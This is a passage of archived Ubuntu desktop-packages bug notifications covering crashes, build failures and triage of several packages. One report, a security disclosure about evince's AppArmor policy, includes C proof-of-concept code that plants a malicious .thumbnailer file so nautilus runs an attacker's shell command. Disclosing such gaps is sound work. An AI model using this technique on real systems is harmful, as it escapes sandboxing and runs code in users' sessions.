crashkernel=384M-:128M crashkernel=384M-:128M crashkernel=384M-:128M nomdmonddf nomdmonisw crashkernel=384M-:128M nomdmonddf nomdmonisw crashkernel=384M-:128M nomdmonddf nomdmonisw crashkernel=384M-:128M nomdmonddf nomdmonisw crashkernel=384M-:128M nomdmonddf nomdmonisw crashkernel=384M-:128M nomdmonddf nomdmonisw crashkernel=384M-:128M nomdmonddf nomdmonisw crashkernel=384M-:128M crashkernel=384M-:128M crashkernel=384M-:128M crashkernel=384M-:128M crashkernel=384M-:128M crashkernel=384M-:128M crashkernel=384M-:128M crashkernel=384M-:128M crashkernel=384M-:128M crashkernel=384M-:128M crashkernel=384M-:128M crashkernel=384M-:128M crashkernel=384M-:128M crashkernel=384M-:128M vt.handoff=1 Signal: 6 SourcePackage: xorg-server StacktraceTop: ?? () from /usr/lib/x86_64-linux-gnu/dri/swrast_dri.so ?? () from /usr/lib/x86_64-linux-gnu/dri/swrast_dri.so ?? () from /usr/lib/x86_64-linux-gnu/dri/swrast_dri.so ?? () from /usr/lib/x86_64-linux-gnu/dri/swrast_dri.so ?? () from /usr/lib/x86_64-linux-gnu/dri/swrast_dri.so Title: Xwayland crashed with SIGABRT UpgradeStatus: Upgraded to bionic on 2018-03-06 (2 days ago) UserGroups: adm admin audio cdrom chroot-admin dialout dip egbuild fax floppy fuse libvirt libvirtd lpadmin lxd plugdev sambashare sudo tape video wireshark dmi.bios.date: 10/27/2015 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 2702 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: Z97-PRO dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: Rev 1.xx dmi.chassis.asset.tag: To Be Filled By O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: To Be Filled By O.E.M. dmi.chassis.version: To Be Filled By O.E.M. dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr2702:bd10/27/2015:svnASUS:pnAllSeries:pvrSystemVersion:rvnASUSTeKCOMPUTERINC.:rnZ97-PRO:rvrRev1.xx:cvnToBeFilledByO.E.M.:ct3:cvrToBeFilledByO.E.M.: dmi.product.family: ASUS MB dmi.product.name: All Series dmi.product.version: System Version dmi.sys.vendor: ASUS version.compiz: compiz 1:0.9.13.1+18.04.20180302-0ubuntu1 version.libdrm2: libdrm2 2.4.90-1 version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.0~rc4-1ubuntu3 version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.0~rc4-1ubuntu3 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.5-1ubuntu1 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.10.0-1 version.xserver-xorg-video-intel: xserv
[Desktop-packages] [Bug 1832651] Re: jackdbus fails to start: cannot allocate memory
** Tags added: rls-ee-incoming ** Changed in: systemd (Ubuntu) Importance: Undecided => High -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to jackd2 in Ubuntu. https://bugs.launchpad.net/bugs/1832651 Title: jackdbus fails to start: cannot allocate memory Status in systemd: Fix Released Status in jackd2 package in Ubuntu: Invalid Status in systemd package in Ubuntu: Confirmed Bug description: The `.log/jack/jackdbus.log` shows the following after trying to start/restart jack using "Ubuntu Studio Controls" (also tried using `jack_control start`): ERROR: Cannot lock down 82280346 byte memory area (Cannot allocate memory) This is a fresh install of Ubuntu Studio 19.04, installed via USB. The first thing I did after installing was check to see if jack was running, but unfortunately it's not working. The error would seem to indicate that I'm not in the `audio` group, however checking `groups` shows that I am in the audio group. ProblemType: Bug DistroRelease: Ubuntu 19.04 Package: jackd2 1.9.12~dfsg-2build1 ProcVersionSignature: Ubuntu 5.0.0-13.14-lowlatency 5.0.6 Uname: Linux 5.0.0-13-lowlatency x86_64 ApportVersion: 2.20.10-0ubuntu27 Architecture: amd64 CurrentDesktop: GNOME Date: Wed Jun 12 18:13:25 2019 InstallationDate: Installed on 2019-06-12 (0 days ago) InstallationMedia: Ubuntu-Studio 19.04 "Disco Dingo" - Release amd64 (20190416) ProcEnviron: TERM=xterm PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.utf8 SHELL=/bin/bash SourcePackage: jackd2 UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/systemd/+bug/1832651/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1759278] Re: hp-doctor: UnboundLocalError: local variable 'l' referenced before assignment
Status changed to 'Confirmed' because the bug affects multiple users.
** Changed in: hplip (Ubuntu)
Status: New => Confirmed
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to hplip in Ubuntu.
https://bugs.launchpad.net/bugs/1759278
Title:
hp-doctor: UnboundLocalError: local variable 'l' referenced before
assignment
Status in HPLIP:
New
Status in hplip package in Ubuntu:
Confirmed
Bug description:
hp-doctor is trying to parse the Python version. Probably other tools
are too.
On Python 2, sys.version is "2.7.14+", whos parts cannot be parsed as an
integer.
On Python 3, sys.version is "3.6.5rc1", whos parts cannot be parsed as an
integer.
Neither of these will work.
% hp-doctor
Traceback (most recent call last):
File "/usr/bin/hp-doctor", line 42, in
check_extension_module_env('cupsext')
File "/usr/share/hplip/base/g.py", line 339, in check_extension_module_env
python_ver = xint((sys.version).split(' ')[0]) #find the
current python version ; xint() to convert string to int, returns a list
File "/usr/share/hplip/base/g.py", line 331, in xint
return l
UnboundLocalError: local variable 'l' referenced before assignment
(Note that my printer will only print "Unsupported Personality: UNKNOWN".
This is probably an unrelated problem.)
ProblemType: Bug
DistroRelease: Ubuntu 18.04
Package: hplip 3.17.10+repack0-5
ProcVersionSignature: Ubuntu 4.15.0-13.14-generic 4.15.10
Uname: Linux 4.15.0-13-generic x86_64
NonfreeKernelModules: nvidia_modeset nvidia
ApportVersion: 2.20.9-0ubuntu1
Architecture: amd64
Date: Tue Mar 27 14:49:56 2018
Lpstat: Error: command ['lpstat', '-v'] failed with exit code 1: lpstat: No
destinations added.
MachineType: System manufacturer System Product Name
Papersize: a4
ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.15.0-13-generic.efi.signed
root=UUID=672510b8-afb9-425f-a58d-bd325f7c987a ro rootflags=subvol=@ nofb
kernel.sysrq=1
SourcePackage: hplip
UpgradeStatus: Upgraded to bionic on 2018-02-19 (35 days ago)
dmi.bios.date: 08/13/2013
dmi.bios.vendor: American Megatrends Inc.
dmi.bios.version: 2104
dmi.board.asset.tag: To be filled by O.E.M.
dmi.board.name: P8Z77-V
dmi.board.vendor: ASUSTeK COMPUTER INC.
dmi.board.version: Rev 1.xx
dmi.chassis.asset.tag: Asset-1234567890
dmi.chassis.type: 3
dmi.chassis.vendor: Chassis Manufacture
dmi.chassis.version: Chassis Version
dmi.modalias:
dmi:bvnAmericanMegatrendsInc.:bvr2104:bd08/13/2013:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKCOMPUTERINC.:rnP8Z77-V:rvrRev1.xx:cvnChassisManufacture:ct3:cvrChassisVersion:
dmi.product.family: To be filled by O.E.M.
dmi.product.name: System Product Name
dmi.product.version: System Version
dmi.sys.vendor: System manufacturer
To manage notifications about this bug go to:
https://bugs.launchpad.net/hplip/+bug/1759278/+subscriptions
--
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1759278] Re: hp-doctor: UnboundLocalError: local variable 'l' referenced before assignment
Same problem here:
$ hp-doctor
error: cupsext not present in the system. Please re-install HPLIP.
$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=19.04
DISTRIB_CODENAME=disco
DISTRIB_DESCRIPTION="Ubuntu 19.04"
$ sudo apt show hplip
Package: hplip
Version: 3.19.1+dfsg0-1
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to hplip in Ubuntu.
https://bugs.launchpad.net/bugs/1759278
Title:
hp-doctor: UnboundLocalError: local variable 'l' referenced before
assignment
Status in HPLIP:
New
Status in hplip package in Ubuntu:
Confirmed
Bug description:
hp-doctor is trying to parse the Python version. Probably other tools
are too.
On Python 2, sys.version is "2.7.14+", whos parts cannot be parsed as an
integer.
On Python 3, sys.version is "3.6.5rc1", whos parts cannot be parsed as an
integer.
Neither of these will work.
% hp-doctor
Traceback (most recent call last):
File "/usr/bin/hp-doctor", line 42, in
check_extension_module_env('cupsext')
File "/usr/share/hplip/base/g.py", line 339, in check_extension_module_env
python_ver = xint((sys.version).split(' ')[0]) #find the
current python version ; xint() to convert string to int, returns a list
File "/usr/share/hplip/base/g.py", line 331, in xint
return l
UnboundLocalError: local variable 'l' referenced before assignment
(Note that my printer will only print "Unsupported Personality: UNKNOWN".
This is probably an unrelated problem.)
ProblemType: Bug
DistroRelease: Ubuntu 18.04
Package: hplip 3.17.10+repack0-5
ProcVersionSignature: Ubuntu 4.15.0-13.14-generic 4.15.10
Uname: Linux 4.15.0-13-generic x86_64
NonfreeKernelModules: nvidia_modeset nvidia
ApportVersion: 2.20.9-0ubuntu1
Architecture: amd64
Date: Tue Mar 27 14:49:56 2018
Lpstat: Error: command ['lpstat', '-v'] failed with exit code 1: lpstat: No
destinations added.
MachineType: System manufacturer System Product Name
Papersize: a4
ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.15.0-13-generic.efi.signed
root=UUID=672510b8-afb9-425f-a58d-bd325f7c987a ro rootflags=subvol=@ nofb
kernel.sysrq=1
SourcePackage: hplip
UpgradeStatus: Upgraded to bionic on 2018-02-19 (35 days ago)
dmi.bios.date: 08/13/2013
dmi.bios.vendor: American Megatrends Inc.
dmi.bios.version: 2104
dmi.board.asset.tag: To be filled by O.E.M.
dmi.board.name: P8Z77-V
dmi.board.vendor: ASUSTeK COMPUTER INC.
dmi.board.version: Rev 1.xx
dmi.chassis.asset.tag: Asset-1234567890
dmi.chassis.type: 3
dmi.chassis.vendor: Chassis Manufacture
dmi.chassis.version: Chassis Version
dmi.modalias:
dmi:bvnAmericanMegatrendsInc.:bvr2104:bd08/13/2013:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKCOMPUTERINC.:rnP8Z77-V:rvrRev1.xx:cvnChassisManufacture:ct3:cvrChassisVersion:
dmi.product.family: To be filled by O.E.M.
dmi.product.name: System Product Name
dmi.product.version: System Version
dmi.sys.vendor: System manufacturer
To manage notifications about this bug go to:
https://bugs.launchpad.net/hplip/+bug/1759278/+subscriptions
--
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1821126] Re: Leading zero in "Programming Mode -> Binary" inserts extra zeros
The issue looks like https://gitlab.gnome.org/GNOME/gnome- calculator/issues/101 which got resolved with newer updates ** Bug watch added: gitlab.gnome.org/GNOME/gnome-calculator/issues #101 https://gitlab.gnome.org/GNOME/gnome-calculator/issues/101 ** Changed in: gnome-calculator (Ubuntu) Importance: Undecided => Low ** Changed in: gnome-calculator (Ubuntu) Status: New => Fix Released -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-calculator in Ubuntu. https://bugs.launchpad.net/bugs/1821126 Title: Leading zero in "Programming Mode -> Binary" inserts extra zeros Status in gnome-calculator package in Ubuntu: Fix Released Bug description: This bug is about inputting data in "Programming Mode -> Binary mode" in the gnome-calculator snap. 1) Description: Ubuntu 18.10 Release: 18.10 2) - Its the default snap - so I guess this? gnome-calculator 3.32.0+git2.cae338ea 352 stable/… canonical✓ - 3) When inputting data in binary format, you should be able to lead with an arbitrary amount of zeros. When accepting the input (by pressing enter, or clicking equals) the answer should be the value you entered (less the leading zero) 01001 = 1001 010101001 = 10101001 4) I you lead your input with zeros and input more than 2 digits (with an obvious '1' being in there) there is a large quantity of inserted zero's in the output, obviously making the value totally different to what you input. For instance the input: 01001 = 11 010101001 =101011 However leading with a 1 produces the correct result: 1010 = 1010 The obvious answer is do not lead with a zero. But monkey see monkey do when inputting data. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-calculator/+bug/1821126/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1765902] Re: switch off the vpn ppt stop the wifi
The issue looks like bug #1778946 , could you check if the problem is only with name resolution and maybe try the ppp change? ** Changed in: network-manager-pptp (Ubuntu) Importance: Undecided => Low ** Changed in: network-manager-pptp (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to network-manager-pptp in Ubuntu. https://bugs.launchpad.net/bugs/1765902 Title: switch off the vpn ppt stop the wifi Status in network-manager-pptp package in Ubuntu: Incomplete Bug description: On a gnome session After being connected by the pptp with a wifi connection, if I switch off the vpn then the wifi does not work anymore. I have to turn off the wifi and connect again for it to work ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: network-manager-pptp 1.2.6-1 ProcVersionSignature: Ubuntu 4.15.0-15.16-generic 4.15.15 Uname: Linux 4.15.0-15-generic x86_64 ApportVersion: 2.20.9-0ubuntu6 Architecture: amd64 CurrentDesktop: communitheme:ubuntu:GNOME Date: Sat Apr 21 06:52:52 2018 InstallationDate: Installed on 2018-04-20 (0 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180420) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=fr_FR.UTF-8 SHELL=/bin/bash SourcePackage: network-manager-pptp UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/network-manager-pptp/+bug/1765902/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1663528] Re: pulseaudio assert failure: pulseaudio: mixer.c:929: snd_mixer_elem_get_callback_private: Assertion `mixer' failed.
Still having that issue with Ubuntu 18.04.2 LTS on a ThinkPad T480 and the stock pulseaudio 11.1. Is there going to be a fix/upgrade for the LTS? -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1663528 Title: pulseaudio assert failure: pulseaudio: mixer.c:929: snd_mixer_elem_get_callback_private: Assertion `mixer' failed. Status in PulseAudio: Fix Released Status in pulseaudio package in Ubuntu: Fix Released Bug description: https://errors.ubuntu.com/problem/a8bcc8185d5b1da4614bcdcf99daf57011bf9250 --- Sidenote: Imediatly got that crash after the apt-xapian-index one ( lp:1663524 ); does not know if it can exist a possible relationship between them. Got an other crash, and that time 'sound' is fully lost (pulseaudio not reloaded). Wonder if lp:1662860 can be concerned. ProblemType: Crash DistroRelease: Ubuntu 17.04 Package: pulseaudio 1:10.0-1ubuntu1 ProcVersionSignature: Ubuntu 4.9.0-16.17-generic 4.9.6 Uname: Linux 4.9.0-16-generic x86_64 NonfreeKernelModules: nvidia_uvm nvidia_drm nvidia_modeset nvidia ApportVersion: 2.20.4-0ubuntu2 Architecture: amd64 AssertionMessage: pulseaudio: mixer.c:929: snd_mixer_elem_get_callback_private: Assertion `mixer' failed. AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: oem4084 F pulseaudio /dev/snd/controlC0: oem4084 F pulseaudio CurrentDesktop: GNOME Date: Fri Feb 10 09:55:45 2017 ExecutablePath: /usr/bin/pulseaudio ProcCmdline: /usr/bin/pulseaudio --start --log-target=syslog ProcEnviron: LANGUAGE=en_GB:en PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_GB.UTF-8 SHELL=/bin/bash Signal: 6 SourcePackage: pulseaudio StacktraceTop: __assert_fail_base (fmt=, assertion=assertion@entry=0x7f92818e7188 "mixer", file=file@entry=0x7f92818e7419 "mixer.c", line=line@entry=929, function=function@entry=0x7f92818e76a0 "snd_mixer_elem_get_callback_private") at assert.c:92 __GI___assert_fail (assertion=0x7f92818e7188 "mixer", file=0x7f92818e7419 "mixer.c", line=929, function=0x7f92818e76a0 "snd_mixer_elem_get_callback_private") at assert.c:101 snd_mixer_elem_get_callback_private () from /usr/lib/x86_64-linux-gnu/libasound.so.2 ?? () from /usr/lib/pulse-10.0/modules/module-alsa-card.so ?? () from /usr/lib/pulse-10.0/modules/module-alsa-card.so Title: pulseaudio assert failure: pulseaudio: mixer.c:929: snd_mixer_elem_get_callback_private: Assertion `mixer' failed. UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom colord dip lpadmin nvidia-persistenced plugdev sambashare sudo users dmi.bios.date: 07/22/2010 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 3002 dmi.board.asset.tag: To Be Filled By O.E.M. dmi.board.name: P5W DH Deluxe dmi.board.vendor: ASUSTeK Computer INC. dmi.board.version: Rev 1.xx dmi.chassis.asset.tag: Asset-1234567890 dmi.chassis.type: 3 dmi.chassis.vendor: Chassis Manufacture dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr3002:bd07/22/2010:svnASUSTEKCOMPUTERINC:pnP5WDHDeluxe:pvrSystemVersion:rvnASUSTeKComputerINC.:rnP5WDHDeluxe:rvrRev1.xx:cvnChassisManufacture:ct3:cvrChassisVersion: dmi.product.name: P5W DH Deluxe dmi.product.version: System Version dmi.sys.vendor: ASUSTEK COMPUTER INC To manage notifications about this bug go to: https://bugs.launchpad.net/pulseaudio/+bug/1663528/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1826415] Re: Videos do not play in presentation mode
** Tags removed: apparmor -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to evince in Ubuntu. https://bugs.launchpad.net/bugs/1826415 Title: Videos do not play in presentation mode Status in Evince: New Status in evince package in Ubuntu: Triaged Bug description: It is not possible to play embedded videos in the presentation mode. This affects PDF slides created with the beamer/multimedia latex package. Initially, no controls are shown on the slide with the video. In the normal mode, video controls appear when the video is clicked with the mouse. However, in the presentation mode, evince goes to the next page when one clicks with the mouse so that the controls do not appear and the video can only be played by exiting the presentation mode. Playing videos works fine in presentation mode with the okular PDF-viewer. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: evince 3.28.4-0ubuntu1 Uname: Linux 4.15.0-041500rc6-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.6 Architecture: amd64 CurrentDesktop: GNOME Date: Thu Apr 25 16:15:43 2019 InstallationDate: Installed on 2015-11-05 (1267 days ago) InstallationMedia: Ubuntu 14.04.3 LTS "Trusty Tahr" - Beta amd64 (20150805) SourcePackage: evince UpgradeStatus: Upgraded to bionic on 2018-05-24 (335 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/evince/+bug/1826415/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1833266] Re: gnome-keyring ftbfs in eoan (armhf only)
https://launchpad.net/ubuntu/+source/gnome-keyring/3.31.91-1ubuntu2 ** Changed in: gnome-keyring (Ubuntu) Status: New => Fix Released -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-keyring in Ubuntu. https://bugs.launchpad.net/bugs/1833266 Title: gnome-keyring ftbfs in eoan (armhf only) Status in gnome-keyring package in Ubuntu: Fix Released Bug description: seen with a test rebuild: https://launchpad.net/ubuntu/+archive/test-rebuild-20190614/+build/16972454 the testsuite times out. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-keyring/+bug/1833266/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1832337] Re: Require password when starting usb-creator
This bug was fixed in the package policykit-desktop-privileges - 0.21 --- policykit-desktop-privileges (0.21) eoan; urgency=medium * Don't allow usb-creator to overwrite devices without authentication. (LP: #1832337) -- Marc Deslauriers Tue, 18 Jun 2019 13:56:08 -0400 -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to policykit-desktop-privileges in Ubuntu. https://bugs.launchpad.net/bugs/1832337 Title: Require password when starting usb-creator Status in policykit-desktop-privileges package in Ubuntu: Fix Released Status in usb-creator package in Ubuntu: Fix Released Bug description: Because usb-creator performs privileged actions, it should require authentication prior to starting. policykit-desktop-privileges should be modified so that usb-creator requires password authentication prior to starting. While it was a deliberate design decision to allow usb-creator to perform mounting and writing without authentication (see https://bugs.launchpad.net/ubuntu/+source/policykit-desktop- privileges/+bug/1568149), this decision should be revisited. Allowing the use of usb-creator without authentication presents an unnecessary security risk. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/policykit-desktop-privileges/+bug/1832337/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1832337] Re: Require password when starting usb-creator
This bug was fixed in the package usb-creator - 0.3.6 --- usb-creator (0.3.6) eoan; urgency=medium * Unmount device during image operation so a single policykit prompt can be displayed to the user. (LP: #1832337) -- Marc Deslauriers Tue, 18 Jun 2019 14:19:59 -0400 ** Changed in: usb-creator (Ubuntu) Status: In Progress => Fix Released ** Changed in: policykit-desktop-privileges (Ubuntu) Status: In Progress => Fix Released -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to policykit-desktop-privileges in Ubuntu. https://bugs.launchpad.net/bugs/1832337 Title: Require password when starting usb-creator Status in policykit-desktop-privileges package in Ubuntu: Fix Released Status in usb-creator package in Ubuntu: Fix Released Bug description: Because usb-creator performs privileged actions, it should require authentication prior to starting. policykit-desktop-privileges should be modified so that usb-creator requires password authentication prior to starting. While it was a deliberate design decision to allow usb-creator to perform mounting and writing without authentication (see https://bugs.launchpad.net/ubuntu/+source/policykit-desktop- privileges/+bug/1568149), this decision should be revisited. Allowing the use of usb-creator without authentication presents an unnecessary security risk. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/policykit-desktop-privileges/+bug/1832337/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1788929] Re: Debian/Ubuntu AppArmor policy gaps in evince
Ubuntu 14.04 LTS is now out of standard support and evince is not
included in ESM.
** Changed in: evince (Ubuntu Trusty)
Status: In Progress => Won't Fix
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to evince in Ubuntu.
https://bugs.launchpad.net/bugs/1788929
Title:
Debian/Ubuntu AppArmor policy gaps in evince
Status in AppArmor:
Fix Released
Status in apparmor package in Ubuntu:
Fix Released
Status in evince package in Ubuntu:
Fix Released
Status in apparmor source package in Trusty:
Fix Released
Status in evince source package in Trusty:
Won't Fix
Status in apparmor source package in Xenial:
Fix Released
Status in evince source package in Xenial:
In Progress
Status in apparmor source package in Bionic:
Fix Released
Status in evince source package in Bionic:
In Progress
Status in apparmor source package in Cosmic:
Fix Released
Status in evince source package in Cosmic:
Fix Released
Bug description:
[Note on coordination: I'm reporting this as a security bug to both Ubuntu
(because Ubuntu is where this policy originally comes from, and Ubuntu is also
where AppArmor is most relevant) and Debian (because the AppArmor policy has
been merged into Debian's version of the package). It isn't clear to me who
really counts as upstream here...]
Debian/Ubuntu ship with an AppArmor policy for evince, which, among other
things, restricts evince-thumbnailer. The Ubuntu security team seems to
incorrectly believe that this policy provides meaningful security isolation:
https://twitter.com/alex_murray/status/1032780425834446849
https://twitter.com/alex_murray/status/1032796879640190976
This AppArmor policy seems to be designed to permit everything that
evince-thumbnailer might need; however, it does not seem to be designed to
establish a consistent security boundary around evince-thumbnailer.
For example, read+write access to almost the entire home directory is granted:
/usr/bin/evince-thumbnailer {
[...]
# Lenient, but remember we still have abstractions/private-files-strict in
# effect).
@{HOME}/ r,
owner @{HOME}/** rw,
owner /media/** rw,
}
As the comment notes, a couple files are excluded to prevent you from just
overwriting well-known executable scripts in the user's home directory, like
~/.bashrc:
[...]
# don't allow reading/updating of run control files
deny @{HOME}/.*rc mrk,
audit deny @{HOME}/.*rc wl,
# bash
deny @{HOME}/.bash* mrk,
audit deny @{HOME}/.bash* wl,
deny @{HOME}/.inputrc mrk,
audit deny @{HOME}/.inputrc wl,
[...]
Verification:
user@ubuntu-18-04-vm:~$ cat preload2.c
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
__attribute__((constructor)) static void entry(void) {
printf("constructor running from %s\n", program_invocation_name);
int fd = open("/home/user/.bashrc", O_WRONLY);
if (fd != -1) {
printf("success\n");
} else {
perror("open .bashrc");
}
exit(0);
}
user@ubuntu-18-04-vm:~$ sudo gcc -shared -o
/usr/lib/x86_64-linux-gnu/libevil_preload.so preload2.c -fPIC
user@ubuntu-18-04-vm:~$
LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libevil_preload.so evince-thumbnailer
constructor running from evince-thumbnailer
open .bashrc: Permission denied
user@ubuntu-18-04-vm:~$ dmesg|tail -n1
[ 6900.355399] audit: type=1400 audit(1535126396.280:113): apparmor="DENIED"
operation="open" profile="/usr/bin/evince-thumbnailer"
name="/home/user/.bashrc" pid=4807 comm="evince-thumbnai" requested_mask="w"
denied_mask="w" fsuid=1000 ouid=1000
But of course blacklists are brittle and often trivially bypassable. For
example, did you know that it is possible to override the system's
thumbnailers
by dropping .thumbnailer files in ~/.local/share/ ? .thumbnailer files contain
command lines that will be executed by nautilus. To demonstrate that it is
possible to create .thumbnailer files from evince-thumbnailer:
user@ubuntu-18-04-vm:~$ ls -la .local/share/thumbnailers/
ls: cannot access '.local/share/thumbnailers/': No such file or directory
user@ubuntu-18-04-vm:~$ cat preload3.c
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
__attribute__((constructor)) static void entry(void) {
printf("constructor running from %s\n", program_invocation_name);
if (mkdir("/home/user/.local/share/thumbnailers", 0777) && errno != EEXIST)
err(1, "mkdir");
FILE *f = fopen("/home/user/.local/share/thumbnailers/evil.thumbnailer",
"w");
if (!f)
err(1, "create");
fputs("[Thumbnailer Entry]\n", f);
fputs("Exec=find /etc/passwd -name passwd -exec gnome-terminal -- sh -c
id;cat
[...]
}
As a comment in abstractions/dbus-session explains:
# This abstraction grants full session bus access. Co
[Desktop-packages] [Bug 1824111] Re: Backport packages for 18.04.3 HWE stack
Majority of them were due to "Could not connect to ftpmaster.internal:80" around Jun 6th, and openjdk8 tests have never passed AIUI. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to mesa in Ubuntu. https://bugs.launchpad.net/bugs/1824111 Title: Backport packages for 18.04.3 HWE stack Status in OEM Priority Project: Confirmed Status in libclc package in Ubuntu: Invalid Status in libdrm package in Ubuntu: Invalid Status in llvm-toolchain-8 package in Ubuntu: Invalid Status in mesa package in Ubuntu: Invalid Status in libclc source package in Bionic: Fix Committed Status in libdrm source package in Bionic: Fix Committed Status in llvm-toolchain-8 source package in Bionic: Fix Committed Status in mesa source package in Bionic: Incomplete Status in xorg-server-hwe-18.04 source package in Bionic: Fix Committed Status in xserver-xorg-video-amdgpu-hwe-18.04 source package in Bionic: Fix Committed Status in xserver-xorg-video-ati-hwe-18.04 source package in Bionic: Fix Committed Status in xserver-xorg-video-nouveau-hwe-18.04 source package in Bionic: Fix Committed Bug description: [Impact] These are needed for 18.04.3 images. [Test case] Boot a daily image, see that it still has the necessary stack installed and working. Check upgrade from stock bionic. [Regression potential] libdrm: very minimal chance for regressions llvm-8: a new package, no regression potential on it's own libclc: more or less just adds support for new llvm mesa: a new major release, but we'll pull the final stable release of 19.0.x series, so there shouldn't be any regressions left at that point xserver: a new minor release xorg drivers: modest updates, mainly just new ati/amdgpu [Other info] To manage notifications about this bug go to: https://bugs.launchpad.net/oem-priority/+bug/1824111/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1832337] Re: Require password when starting usb-creator
This will also require usb-creator to be modified to have a single policykit prompt. ** Also affects: usb-creator (Ubuntu) Importance: Undecided Status: New ** Changed in: usb-creator (Ubuntu) Assignee: (unassigned) => Ubuntu Security Team (ubuntu-security) ** Changed in: policykit-desktop-privileges (Ubuntu) Status: New => In Progress ** Changed in: usb-creator (Ubuntu) Status: New => In Progress -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to policykit-desktop-privileges in Ubuntu. https://bugs.launchpad.net/bugs/1832337 Title: Require password when starting usb-creator Status in policykit-desktop-privileges package in Ubuntu: In Progress Status in usb-creator package in Ubuntu: In Progress Bug description: Because usb-creator performs privileged actions, it should require authentication prior to starting. policykit-desktop-privileges should be modified so that usb-creator requires password authentication prior to starting. While it was a deliberate design decision to allow usb-creator to perform mounting and writing without authentication (see https://bugs.launchpad.net/ubuntu/+source/policykit-desktop- privileges/+bug/1568149), this decision should 